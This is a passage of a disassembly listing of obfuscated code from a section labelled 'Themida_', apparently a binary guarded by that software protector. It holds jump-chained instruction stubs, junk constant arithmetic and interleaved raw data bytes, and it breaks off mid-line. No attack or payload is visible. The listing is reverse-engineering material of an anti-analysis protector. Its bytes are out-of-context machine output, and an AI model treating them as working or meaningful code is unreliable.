loc_55D778 ; --------------------------------------------------------------------------- loc_55C71C: ; CODE XREF: Themida_:0055A13Aj mov ebp, esi jmp loc_555980 ; --------------------------------------------------------------------------- loc_55C723: ; CODE XREF: Themida_:00558C43j sub esp, 4 jmp loc_556DF1 ; --------------------------------------------------------------------------- loc_55C72B: ; CODE XREF: Themida_:00554860j shr ebx, 4 dec ebx jmp loc_559D67 ; --------------------------------------------------------------------------- dd 0C8FED1B0h, 0D2F6D086h, 134D086h, 0C62CD82Ch, 0C328D004h dd 8026E958h, 0F731FFFFh, 0B722E95Eh, 94BDFFFFh, 0E97AB20Ah dd 0FFFFDEB9h, 4246C81h, 4C0A61B2h, 4245C01h, 4244481h dd 4C0A61B2h, 242C8B5Bh, 4C481h, 0B9510000h, 4, 2955E9h dd 242C8B00h, 0E904C483h, 0FFFFF0A8h ; --------------------------------------------------------------------------- loc_55C794: ; CODE XREF: Themida_:0055C223j mov ebp, [esp] add esp, 4 mov edx, ecx pop ecx jmp loc_555DA3 ; --------------------------------------------------------------------------- dw 0C781h dd 15CFC221h, 0E7E9EFD1h, 0F700002Dh, 75F681D6h, 8145636Dh dd 740E3EEEh, 0A2C58181h, 2940AE73h, 0A2ED81F5h, 0E940AE73h dd 0FFFFB617h, 515AD030h, 0F58099B5h, 0FFC58040h, 0E15E9h dd 4C48100h, 29000000h, 0B9515DEBh, 213B1A36h, 0FF9137E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7F5: ; CODE XREF: Themida_:00556C53j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55C136 ; --------------------------------------------------------------------------- db 0B0h, 63h, 0Ch dd 0E94DE96Eh, 0C483FFFFh, 2B99E904h, 0E8280000h, 51D82859h dd 0FFFCE7E9h, 0C98149FFh, 103338EAh, 0FF81CCE9h, 24048BFFh dd 4C481h, 0A2E90000h, 8BFFFF75h, 0F3E9241Ch db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C847: ; CODE XREF: Themida_:00555553j add edx, 4 push edi push eax push 43F12FF1h jmp loc_55F7FE ; --------------------------------------------------------------------------- byte_55C859 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055327Co db '$hÉ&',0 align 2 aIH8 db '‰<$hË8',0 align 2 dw 77E9h dd 51FFFF9Ah, 885891B9h, 1D0C683Fh, 4890000h, 671DB824h dd 6EE96BE6h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C887: ; CODE XREF: Themida_:0055B38Bj add ebx, 0FFFFFFFFh jmp loc_55CE5D ; --------------------------------------------------------------------------- dw 1A04h dd 24148B66h, 5E08950h, 4, 205h, 24048700h, 8024248Bh dd 0C380D5C3h, 80C32804h, 0EC8304EBh, 7C4BE904h, 0C72CFFFFh dd 38CE9h db 0 byte_55C8C5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005533D4o dd 4EC8324h, 54242C89h, 0FFE95AE9h, 4335EFFh, 24043124h dd 5C240433h, 7999BD55h, 0E581016Ch, 5960748Fh, 0FFA340E9h dd 511BBEFFh, 0D4E93B0Bh, 89FFFF92h, 240C8BCAh, 4C481h dd 12E90000h, 81000031h, 6620A8EBh, 6EBC127h, 0F381D3F7h dd 0FEF0E77Bh, 835BD901h, 7D6802C1h, 8900006Bh, 74FF240Ch dd 0E9590424h, 0FFFFCD8Bh ; --------------------------------------------------------------------------- loc_55C934: ; CODE XREF: Themida_:0055D170j pop dword ptr [esp] jmp loc_55F326 ; --------------------------------------------------------------------------- dd 832BF57h, 0FD893F28h, 0FFCB5EE9h, 3E3C1FFh, 1119F381h dd 4FE9563Fh, 66FFFFC4h, 0A9F68058h, 0FF773BE9h, 9FE958FFh dd 81000024h, 0BE0813EFh, 81D7014Ch, 0BE0813C7h, 5C7814Ch dd 0FF30441Dh, 0C9E92434h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C983: ; CODE XREF: Themida_:0055354Aj sub al, 0BFh push edx jmp loc_55853A ; --------------------------------------------------------------------------- loc_55C98B: ; CODE XREF: Themida_:005585E9j test ecx, eax pushf jmp loc_55E136 ; --------------------------------------------------------------------------- db 51h dd 0BB53E189h, 0E48124Dh, 0FB874343h, 0FB87D7F7h, 0EDB4F381h dd 48E9F1B7h, 81FFFF77h, 1A1E87C3h, 31685244h, 5A4C2228h dd 8904EC83h, 4968240Ch, 5966F139h, 0F181D9F7h, 509B66ADh dd 0FFB800E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C9D5: ; CODE XREF: Themida_:00557F86j or eax, eax jz loc_557ED1 push dword ptr [edi+1Ch] push 15BFh mov [esp], esi jmp loc_55A67A ; --------------------------------------------------------------------------- db 5Dh, 56h, 89h dd 0D7B850E6h, 0E97CCE1Ch, 2D7Dh ; --------------------------------------------------------------------------- loc_55C9FC: ; CODE XREF: Themida_:0055C107j push 104C57A3h jmp loc_55A133 ; --------------------------------------------------------------------------- loc_55CA06: ; CODE XREF: Themida_:005540AAj push ebx jmp loc_55640E ; --------------------------------------------------------------------------- loc_55CA0C: ; CODE XREF: Themida_:0055FB6Ej mov esp, [esp] jmp loc_55DD70 ; --------------------------------------------------------------------------- dd 0EF814747h, 6F23C0Bh, 0C15FFD89h, 814D02E5h, 3D34D6EDh dd 29ED814Ch, 14B3FAEh, 51555DE8h, 0A36DE953h, 0BF57FFFFh dd 2C7D66AEh, 81E7D147h, 6D6BBBE7h, 0B2C7811Eh, 47309929h dd 367BE56h, 0D6F7632Eh, 7631C681h, 0EBE9AC2Fh db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA63: ; CODE XREF: Themida_:00557A41j pop esp mov esi, [esp] push esi mov esi, esp add esi, 4 push eax jmp loc_556598 ; --------------------------------------------------------------------------- word_55CA76 dw 8B66h ; DATA XREF: Themida_:0055328Co dd 64E9240Ch db 91h, 2 dup(0FFh) byte_55CA7F db 68h ; DATA XREF: Themida_:005532ACo dd 53947h, 5624048Bh, 179EE9h, 0E9DE0100h, 0FFFF9AB2h dword_55CA94 dd 0E92434FFh, 0FFFFA40Eh ; DATA XREF: Themida_:00553400o ; --------------------------------------------------------------------------- loc_55CA9C: ; CODE XREF: Themida_:0055CB26j add esp, 4 sub ebp, 4D190B50h and eax, ebp mov ebp, [esp] jmp loc_55A943 ; --------------------------------------------------------------------------- loc_55CAAF: ; CODE XREF: Themida_:005579F0j pop esp push ebp push 31272EC0h mov ebp, [esp] jmp loc_55B0AA ; --------------------------------------------------------------------------- dw 0F281h dd 772630E0h, 505AD189h, 0A78F19B8h, 58C12930h, 6859C831h dd 53D7h, 0BF243C89h, 4D3D587Dh, 4EC81h, 34890000h, 47E4BE24h dd 0F7090BB4h, 0FF6C6EE9h, 0E9EFD1FFh, 264Ah, 0DEE9EE01h dd 5C000016h, 0FF9F4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB09: ; CODE XREF: Themida_:00557C1Bj sub edi, 5E33F93Fh mov ebp, edi pop edi push edx mov edx, 8C61B15h mov ecx, 0F794038Eh jmp loc_5571C2 ; --------------------------------------------------------------------------- loc_55CB22: ; CODE XREF: Themida_:00555702j push dword ptr [esp] pop eax jmp loc_55CA9C ; --------------------------------------------------------------------------- db 0FEh aAq db 'Ï€ïÛ',0 db 0F8h, 5Bh, 8Bh dd 0F4E9241Ch, 5DFFFFCCh, 0E924148Bh, 0FFFFD9AAh, 555AD101h dd 2BDh, 5DE90100h, 0C3DCE951h, 0C4E9FFFFh, 55FFFF69h dd 321FAFBDh, 5DE83151h, 47E95355h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB6B: ; CODE XREF: Themida_:0055D499j shr ecx, 0Bh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx jmp loc_5551BC ; --------------------------------------------------------------------------- loc_55CB86: ; CODE XREF: Themida_:0055D073j add esi, ebp sub esi, 443A085Eh pop ebp jmp loc_554D6A ; --------------------------------------------------------------------------- dd 0BD242C89h, 2D6924F1h, 30CCF581h, 0BB53674Ah, 619B2366h dd 0FFE0BDE9h, 0EEC14EFFh, 89EE8103h, 5B7E786h, 7D885FE1h dd 3BBBE56h, 0F0016369h, 0EFBB535Eh, 2941E220h, 0F0015BD8h dd 0E220EF05h, 3BB2D41h, 0E12D6369h, 0FF7D885Fh, 815E2434h dd 4C4h, 7F136800h, 0C890000h, 4D56824h, 3C890000h, 2C4C6824h dd 34FF07CAh, 0C4835F24h, 0ABD5E904h, 1431FFFFh, 24143324h dd 6624248Bh, 9C240409h, 0FF6902E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC1D: ; CODE XREF: Themida_:00553E1Bj add edx, 4 push 1234h mov [esp], edx jmp loc_555544 ; --------------------------------------------------------------------------- dd 31243C33h, 0A4E9243Ch, 0C1FFFFC9h, 0E98102E9h, 3EFEEFEBh dd 121EB81h, 0CB010745h, 0FF6C25E9h, 0E9F504FFh, 0FFFFD3D4h dd 8124248Bh, 4C2h, 68555100h, 16BE1ABBh, 6EE1B95Dh, 0E9314CB5h dd 0B5C9815Dh, 4948DB46h, 12AEBE56h, 0F1011380h, 0AAE9815Eh dd 16E5B89h, 148759CAh, 18B5E924h, 0D8210000h, 5B2434FFh dd 0B04C483h, 0B5840FC0h, 68FFFFA0h, 119Fh, 0BB241C89h dd 2A1816F1h, 105DC381h, 0C38101E9h, 2157540h, 618CB850h dd 79E953A5h, 31FFFFDEh, 14332414h, 0FE31E924h, 4BDFFFFh dd 1000000h, 0EA815DEAh, 4, 2474FF52h, 8F51E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCEA: ; CODE XREF: Themida_:0055F663j sub edi, 261980FDh jmp loc_559190 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 7481E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD02: ; CODE XREF: Themida_:00555053j add dword ptr [esp], 4 push dword ptr [esp] pop ecx push esi mov esi, esp jmp loc_554B7C ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 0A5C8E9F2h, 0EBC1FFFFh, 37C38106h, 297DAA05h dd 0CCE95BDAh db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD2F: ; CODE XREF: Themida_:005574D6j or dl, 25h push 44Bh mov [esp], eax jmp loc_55B62F ; --------------------------------------------------------------------------- db 88h dd 7AE958C6h, 0B2FFFF96h, 80DAF619h, 0EB80DEEAh, 0E9D32888h dd 0FFFF6B97h, 51241489h, 300CFBB9h, 0D9F7493Bh, 0CFEC181h dd 0CA893B30h, 0FF7C7BE9h db 0FFh byte_55CD71 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005533CCo dd 4EC8324h, 54242C89h, 2220685Dh, 14890000h, 5A8BBA24h dd 0CA8111FAh, 34B800A6h, 0FF70D7E9h, 0D5E95CFFh, 58000025h dd 0E980F128h, 24148BBEh, 0E904C483h, 0FFFFD790h, 0E9243489h dd 0FFFFBB3Ah ; --------------------------------------------------------------------------- loc_55CDB4: ; CODE XREF: Themida_:0055410Aj mov [esp], ebx jmp loc_555758 ; --------------------------------------------------------------------------- dd 4C281h, 0BB530000h, 97429B9h, 34A3F381h, 0B95156ECh dd 65DC588Eh, 74ABE181h, 0E9812687h, 6AAE4018h, 2572C181h dd 0F1812DFBh, 245C0BDCh, 6EC181h, 0CB099F1Bh, 5EF38159h dd 81390C0Bh, 4BCB24C3h, 0C832E9B9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE06: ; CODE XREF: Themida_:00553EFCj and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or edx, eax shl edx, 1 push eax jmp loc_556224 ; --------------------------------------------------------------------------- dd 4C781h, 0E9520000h, 0FFFF774Ah ; --------------------------------------------------------------------------- loc_55CE28: ; CODE XREF: Themida_:0055EC7Dj mov edx, 30B81922h mov esi, 30B81926h xor esi, edx jmp loc_5549AF ; --------------------------------------------------------------------------- loc_55CE39: ; CODE XREF: Themida_:00556565j xchg edi, [esp] mov esp, [esp] or eax, eax jnz loc_556108 push 55AAh mov [esp], eax push edi jmp loc_5575E6 ; --------------------------------------------------------------------------- db 89h, 0F2h, 5Eh dd 2145E9h db 0 ; --------------------------------------------------------------------------- loc_55CE5D: ; CODE XREF: Themida_:0055C88Dj sub ebx, 2DD66440h push eax jmp loc_5575AC ; --------------------------------------------------------------------------- db 81h, 0CFh, 0BCh dd 8153EB1Ah, 0B7102DE7h, 7EFC118h, 0FFF925E9h, 2CB2FFh dd 0EB005AD3h, 0FF9F29E9h, 0F6C786FFh, 88C786D0h, 50665BFAh dd 0C220A3B0h, 0C2805866h, 8604A9h, 5A862CD0h, 0FFD152E9h dd 240C31FFh, 5C240C33h, 0E99CC83Bh, 0FFFF6667h, 9BAEF581h dd 22E927ABh, 81FFFFB6h, 2C4h, 68665600h, 89665CA9h, 0BD66242Ch dd 89662BEBh, 7F8FE9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CEDE: ; CODE XREF: Themida_:00557FE8j push esi mov esi, 4E266850h sub esi, 4E26684Ch jmp loc_55EC36 ; --------------------------------------------------------------------------- db 5Fh dd 0FFE08DE9h, 2DE955FFh, 81FFFFF3h, 898FFAF3h, 0BAC781D8h dd 0E9440A6Eh, 1428h, 353F685Ch, 14890000h, 0E636824h dd 20E97B58h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CF1F: ; CODE XREF: Themida_:0055F0C4j xchg esi, [esp] pop esp push 3DABh mov [esp], eax mov eax, 4 jmp loc_55E924 ; --------------------------------------------------------------------------- loc_55CF35: ; CODE XREF: Themida_:005596FCj push ecx push edx jmp loc_557083 ; --------------------------------------------------------------------------- loc_55CF3C: ; CODE XREF: Themida_:00559566j and eax, ebp pop ebp or edx, eax jmp loc_555ABF ; --------------------------------------------------------------------------- dw 48Bh dd 0F8C4E924h, 0EB88FFFFh, 1FEFE9h, 0EBED8100h, 0E90443E5h dd 0FFFFC4E6h, 0FF65BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF65: ; CODE XREF: Themida_:0055F0B0j mov edx, 9750FFBh mov ebp, 2542F575h add ebp, edx pop edx add ebp, 3AC100D9h dec ebp shr ebp, 6 xchg esi, ebp add esi, 0FFFFFFFFh push ebp push 3C22h mov [esp], esi mov ebp, [esp] jmp loc_559CA4 ; --------------------------------------------------------------------------- loc_55CF92: ; CODE XREF: Themida_:00558807j sub al, 51h jmp loc_558991 ; --------------------------------------------------------------------------- db 80h, 0EBh, 0A7h dd 0FF7C99E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFA1: ; CODE XREF: Themida_:0055AC3Fj xor ebp, [esp] jmp loc_55A6E3 ; --------------------------------------------------------------------------- loc_55CFA9: ; CODE XREF: Themida_:0055EEA9j xor eax, ecx push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax jmp loc_558711 ; --------------------------------------------------------------------------- db 68h, 7Eh, 23h dd 0DAE9351Dh, 5BFFFF81h, 6C4CE952h db 2 dup(0FFh) word_55CFD2 dw 8B66h ; DATA XREF: Themida_:00553310o dd 0EC81240Ch, 4, 68241489h, 4022h, 24048F54h, 4240483h dd 4C2815Ah, 55000000h, 2BDh, 8BEA0100h, 8950242Ch, 405E0h dd 0BD550000h, 4, 875DE801h, 335C2404h, 0ACE92414h db 0FCh, 2 dup(0FFh) byte_55D01B db 66h ; DATA XREF: Themida_:0055339Co dd 6602B60Fh, 6643CD68h, 0E9240489h, 0FFFF64F3h, 4BAh dd 5AD10100h, 2C181h, 0C870000h, 24248B24h, 0FFB4DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D045: ; CODE XREF: Themida_:0055A38Fj and eax, ecx jmp loc_55BF8C ; --------------------------------------------------------------------------- loc_55D04C: ; CODE XREF: Themida_:0055BEAFj mov esi, esp jmp loc_5579DE ; --------------------------------------------------------------------------- loc_55D053: ; CODE XREF: Themida_:00558CE0j xchg ebx, [esp] pop esp mov [esp], eax mov eax, 4 add esi, eax pop eax sub esp, 4 mov [esp], ebp mov ebp, 4 add esi, 443A085Eh jmp loc_55CB86 ; --------------------------------------------------------------------------- dd 5002C483h, 0F480AEB4h, 0DDCC8057h, 8002ECC0h, 1DE9FFECh dd 83FFFFABh, 545004C4h, 0FFFEADE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D099: ; CODE XREF: Themida_:005584D5j xor ebp, 3F2A4AC7h push 7D2Bh mov [esp], ebx sub esp, 4 mov [esp], ecx jmp loc_559668 ; --------------------------------------------------------------------------- dw 0BE56h dd 559101C6h, 815EF389h, 263527C3h, 0F3814B48h, 585D27FFh dd 10E4CB81h, 0CB81369Fh, 75280CE2h, 0F6FBC381h, 0DD890D61h dd 0E9E8295Bh, 0FFFF6A37h, 88ECC380h, 8FE95BDDh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D0EF: ; CODE XREF: Themida_:00559CF4j xchg ebx, [esp] jmp loc_555D8B ; --------------------------------------------------------------------------- db 81h dd 877F04C2h, 0E599E964h, 5D5EFFFFh, 9FBB5352h, 8159D16Eh dd 0E03ABFEBh, 8EBC17Eh, 0FFA0A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D119: ; CODE XREF: Themida_:0055F4F3j sub edi, 28E67473h push 5ECEh mov [esp], edi jmp loc_555513 ; --------------------------------------------------------------------------- dd 94EA815Ah, 580D9035h, 0FFAE85E9h, 0CD25CFFh, 0DCE99C24h db 63h, 2 dup(0FFh) byte_55D143 db 0FFh ; DATA XREF: Themida_:00553368o dd 48B2434h, 75306824h, 34890000h, 81E68924h, 4C6h, 0DDA8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D15E: ; CODE XREF: Themida_:0055B616j add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55C934 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4330000h, 24043124h, 0FFC5B0E9h, 59CB01FFh, 1C8BD889h dd 4C48124h, 1000000h, 0C78158C7h, 4, 31243C33h, 65E9243Ch db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1A7: ; CODE XREF: Themida_:00556019j mov ebx, [esp] add esp, 4 loc_55D1AD: ; CODE XREF: Themida_:00557454j push ebx jmp loc_554A95 ; --------------------------------------------------------------------------- db 89h dd 27BB241Ch, 0C1145D4Eh, 0E38103EBh, 72525591h, 4301C383h dd 2684EB81h, 0C381030Bh, 0D314643h, 55BD829h, 3366417Ch dd 7C2DD801h, 0E9336641h, 0FFFFDDA6h, 3BC9B966h, 30B86650h dd 29056670h, 6640666Fh, 66C0042Dh, 0E958C109h, 0D1Ch ; --------------------------------------------------------------------------- loc_55D204: ; CODE XREF: Themida_:0055620Fj add esp, 4 pop dword ptr [esp] pop esp xor ebx, eax xor edx, eax jmp loc_55351F ; --------------------------------------------------------------------------- db 81h dd 0DE5EB4CDh, 0EFED816Ah, 8150F457h, 4C315AF5h, 3EDC167h dd 2A57C581h, 0EA29F923h, 9CCA815Dh, 81216106h, 153FB4E2h dd 6F2811Ch, 5268A973h, 79240481h, 5E0FA917h, 1779EE81h dd 148B0FA9h, 4C48124h, 81000000h, 0E427E7F6h, 0C1DEF736h dd 3EE904E6h db 0F9h, 2 dup(0FFh) byte_55D26F db 0FFh ; DATA XREF: Themida_:00553420o dd 589D1C77h, 9C240419h, 0FF62A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D27D: ; CODE XREF: Themida_:0055B90Dj and eax, edi pop edi xor eax, 13D90AD5h mov ecx, eax pop eax shr ecx, 3 xor ecx, 589B03E3h jmp loc_55B731 ; --------------------------------------------------------------------------- dw 0E181h dd 372D6283h, 56C1F181h, 0A3E960A1h, 52FFFF8Fh, 6F43ABBAh dd 0E9D7291Ch, 0FFFFDC4Ah, 139FE181h, 0ADE91E02h, 0FFFFFF7Eh dd 78E92434h, 81FFFF6Bh, 0EE371FE5h, 0DCF5812Ch, 17B8148h dd 0F2E95DEBh, 89FFFFAEh, 0F67FE9C5h, 0D029FFFFh, 6921112Dh dd 0E6E95A3Dh, 89FFFFC7h, 83B3241Ch, 7EE9D920h, 0FEFFFF67h dd 66C6FEC6h, 0E91EB151h, 0FFFF8204h, 0C0B60F58h, 688734FFh dd 5EA4h, 0B8240489h, 4E1B434Ch, 4244431h, 8324048Bh, 92E904C4h dd 5FFFFF85h, 478ADDB9h, 1E98132h, 0E931552Ch, 0FFFF87E1h ; --------------------------------------------------------------------------- loc_55D33C: ; CODE XREF: Themida_:00556DF9j mov ebx, ecx pop ecx add ebx, 616701h add ebx, edi sub ebx, 616701h jmp loc_559388 ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 201FE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D36A: ; CODE XREF: Themida_:0055A44Fj pop eax jmp loc_554C5B ; --------------------------------------------------------------------------- dd 5C24048Fh, 2C0E9h, 9AC78100h, 0C1005569h, 0F74F03EFh dd 0EF8147D7h, 0C6005DDAh, 0F781EFD1h, 2E2D6DFCh, 6A24C781h dd 0EF810EC3h, 0CA73F8F3h, 0BCE9F889h, 83FFFFDEh, 0C8904ECh dd 34815524h, 6A57B024h, 0E9591Fh, 81FFFF64h, 9249F8CFh dd 0E9DFF771h, 0FFFFE29Eh, 0EC815D54h, 4, 0B8240489h, 6E994B17h dd 0B4EC0540h, 85E99166h, 58FFFF8Ah, 0E289525Dh, 0FF9697E9h dd 0A3E957FFh db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D3F3: ; CODE XREF: Themida_:00555813j mov cx, [esp] add esp, 2 push 17Fh mov [esp], ebx mov ebx, esp push ebp mov ebp, 418463BBh sub ebp, 75377850h jmp loc_556EF6 ; --------------------------------------------------------------------------- loc_55D418: ; CODE XREF: Themida_:0055E7DBj push ecx mov ecx, esp push eax mov eax, 79E62DEDh shr eax, 5 xor eax, 52BB6457h add eax, 4D317BD2h push ecx mov ecx, 3CD020DDh jmp loc_5572EF ; --------------------------------------------------------------------------- db 89h, 0F8h, 0E9h dd 13A7h, 4C381h, 0EB810000h, 4, 8B241C87h, 14892424h dd 0E6CFBA24h, 81054387h, 1341C23h, 23812DD0h, 9CE9341Ch dd 5F00001Dh, 2642E9h, 0DF015E00h, 4EC815Bh, 89000000h dd 2B82404h, 1000000h, 466858C7h, 89000043h, 1CE9243Ch db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D493: ; CODE XREF: Themida_:00553EE4j mov edi, [esp] add esp, 4 jmp loc_55CB6B ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFFE57h dword_55D4A4 dd 6BDE9ACh, 4BB0000h, 1000000h, 4875BD8h, 0BAE95C24h ; DATA XREF: Themida_:005533A8o db 11h, 2 dup(0) byte_55D4BB db 0FFh ; DATA XREF: Themida_:005532A8o dd 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 5CFA14E0h and ecx, 6D0737B4h jmp loc_55448F ; --------------------------------------------------------------------------- db 0C1h, 0E6h, 6 dd 1EE81h, 8EE90000h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D4E3: ; CODE XREF: Themida_:005558B8j push eax mov eax, 0B0E6C24Bh sub ebp, 76FD7F09h add ebp, eax jmp loc_55A21A ; --------------------------------------------------------------------------- dw 0BA52h dd 7450121h, 15AD689h, 0EDE95EF3h, 51FFFFA1h, 4EC81h, 1C890000h dd 80D7B324h, 51667AC3h, 0CB0033B1h, 241FE9h, 39F58000h dd 0E9DDED80h, 0FFFF80DDh ; --------------------------------------------------------------------------- loc_55D52C: ; CODE XREF: Themida_:0055A176j mov edx, 51F317FAh or edx, 523E028Eh add edx, 36253E33h add edx, 75DBA9D3h add ebp, edx pop edx add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5593A7 ; --------------------------------------------------------------------------- db 0BEh dd 76F46C62h, 348BF589h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 87268h, 8226E900h, 4B8FFFFh, 81000000h dd 471D04C2h, 81C2297Eh, 471D04EAh, 89D2E97Eh, 0F52DFFFFh dd 8B60B74Dh, 0C4812414h, 4, 114FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D5C6: ; CODE XREF: Themida_:0055D9D8j add eax, 232E5611h pop edx jmp loc_55A5C8 ; --------------------------------------------------------------------------- loc_55D5D1: ; CODE XREF: Themida_:00556ED5j pop esp mov [esp], esi push 6C94h mov [esp], esp jmp loc_556B93 ; --------------------------------------------------------------------------- dw 0D5Bh dd 661D5922h, 0FF6FC0E9h, 0E2B4FFh, 0C02AE9E3h, 0D5F6FFFFh dd 0C09BF580h, 0C53006EDh, 0C530E830h, 21DCE9h, 243C8900h dd 256BE954h, 0EBC10000h, 861BE907h, 0CE01FFFFh, 6177C681h dd 34E96B73h, 8FFFF71h, 0F96859EAh, 0E900000Dh, 0FFFF629Bh dd 0FF5EE6E9h, 2434FFFFh, 8B2434FFh, 0C4812414h, 4, 81E38953h dd 4ECh, 9C88E900h, 8957FFFFh, 4C781E7h, 83000000h, 3C8704C7h dd 1C685C24h, 89000046h, 0E6892434h, 4925BA52h, 0E281643Ah dd 6F107CFFh, 0EAE9D2F7h, 53FFFFADh, 65623CBBh, 245C015Ch dd 0DE95B04h, 83FFFFD6h, 76E904C4h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D69B: ; CODE XREF: Themida_:0055820Ej pop ebx sub [edi+24h], edx jmp loc_5574F7 ; --------------------------------------------------------------------------- dd 0EBD0D8B3h, 0FFCCE7E9h, 24248BFFh, 9CC88566h, 0FF81A4E9h dd 60E95CFFh, 1FFFF5Eh, 4BED81D5h, 5A3BB178h, 4C581h, 2C330000h dd 0AA93E924h, 0C701FFFFh, 4B85058h, 81000000h, 4ECh, 24048900h dd 10A8FB8h, 58C7013Bh, 0EF81C701h, 3B010A8Fh, 0FFE0F1E9h db 0FFh byte_55D6FD db 0FFh, 34h, 24h ; DATA XREF: Themida_:005533DCo dd 8324048Bh, 28E904C4h, 80000017h, 5B6801C5h, 89000043h dd 0B450241Ch, 58E3886Dh, 0D0B551h, 0CCE959EBh db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D727: ; CODE XREF: Themida_:0055DB57j add eax, ecx add eax, 70AB6DC5h mov ecx, [esp] add esp, 4 sub edi, 274C6E9Ah add edi, eax jmp loc_55655B ; --------------------------------------------------------------------------- loc_55D741: ; CODE XREF: Themida_:0055915Cj neg esi jmp loc_557E20 ; --------------------------------------------------------------------------- dd 0ABE95352h, 0B6FFFFD1h, 817EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D756: ; CODE XREF: Themida_:0055C139j mov eax, 3D71017Dh shr eax, 7 not eax xor eax, 1EB46DB4h xor eax, 11B66401h shr eax, 7 push ebp mov ebp, 14555A83h jmp loc_55F92C ; --------------------------------------------------------------------------- loc_55D778: ; CODE XREF: Themida_:0055C717j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_554AA0 ; --------------------------------------------------------------------------- loc_55D792: ; CODE XREF: Themida_:005599F3j add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 push edx jmp loc_553BF7 ; --------------------------------------------------------------------------- byte_55D7AB db 66h ; DATA XREF: Themida_:00553254o dd 8324048Bh, 0B9E904ECh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D7B7: ; CODE XREF: Themida_:0055E9D4j mov esi, esp jmp loc_55590A ; --------------------------------------------------------------------------- dw 0D147h dd 0DFEF81EFh, 89E7C40Dh, 37E95FFDh, 81000008h, 4EAh, 24148700h dd 64C6E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D7DE: ; CODE XREF: Themida_:0055946Bj sub ebx, 0F4B12A1h pop edx add ebx, 2 xchg ebx, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- db 80h dd 0E888E5F5h, 0E9C68859h, 0FFFFF153h, 65DAC681h, 1C8B279Ch dd 0E553E924h, 0C681FFFFh, 8A4F15h, 2C6815Dh, 87000000h dd 535C2434h, 0E9D58851h, 0FFFFF722h, 0B9240C89h, 2, 36E9CB01h dd 81FFFFDDh, 7C0436EBh, 0BCE95D12h, 55FFFFB4h, 5D2414F7h dd 0F708EDC1h, 0A9BE56DDh, 0D1652D00h, 8E6C1EEh, 12D3E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D862: ; CODE XREF: Themida_:0055E972j shl cl, 2 and cl, 30h shl cl, 2 push eax mov ah, 0D4h add ah, 0A2h sub cl, ah pop eax add bl, 17h sub bl, cl sub bl, 17h mov ecx, [esp] jmp loc_55F2E5 ; --------------------------------------------------------------------------- dd 5FFE015Ch, 2474FF56h, 48F5E04h, 4D35C24h, 0C5E99C24h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D89B: ; CODE XREF: Themida_:005575EBj inc edi sub edi, 9D33DABh push edi push edi mov edi, 340F179Eh add [esp+4], edi pop edi push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, 340F179Eh sub eax, ebp pop ebp pop edi xor eax, 678615A5h sub esp, 4 jmp loc_555818 ; --------------------------------------------------------------------------- byte_55D8CF db 0ADh ; DATA XREF: Themida_:00553474o dd 8151D831h, 